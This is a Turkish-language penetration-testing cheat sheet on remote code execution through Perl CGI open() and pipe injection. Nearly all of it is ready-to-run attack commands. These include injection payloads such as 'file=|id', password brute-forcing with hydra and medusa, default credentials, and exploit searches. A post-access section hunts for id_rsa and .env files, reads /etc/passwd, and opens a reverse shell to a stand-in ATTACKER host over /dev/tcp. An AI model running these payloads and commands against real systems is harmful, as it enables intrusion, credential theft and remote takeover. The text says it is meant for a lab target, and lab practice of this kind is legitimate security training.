Perl Tricks

Perl rce

Perl CGI ve open() enjeksiyonları, taint mode bypass ve backtick sink’leri RCE üretir. Hedef lab IP’si üzerinde komutları 80 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. CGI/perl endpoint.

2. open/pipe injection.

3. Taint bypass.

4. Payload.

Keşif

ffuf -u https://TARGET/cgi-bin/FUZZ.pl -w cgi.txt -mc 200

curl -vk 'https://TARGET/cgi-bin/app.pl?file=x'

Injection

curl -vk 'https://TARGET/cgi-bin/app.pl?file=|id'

curl -vk 'https://TARGET/cgi-bin/app.pl?file=;id;'

open(F, $input) → |cmd

Derin enum

Perl Tricks için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p80 TARGET

nmap -Pn -p80 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:80' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',80));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → Perl Tricks

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 80 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 80

nmap -p80 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit Perl

msfconsole -q -x 'search Perl; exit'

nuclei -u https://TARGET:80 -t cves/ -silent -severity || true

nuclei -u http://TARGET:80 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 80

printf '
' | timeout 3 nc -nv TARGET 80

curl -vk --http1.0 http://TARGET:80/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

perl CGI → open/pipe → RCE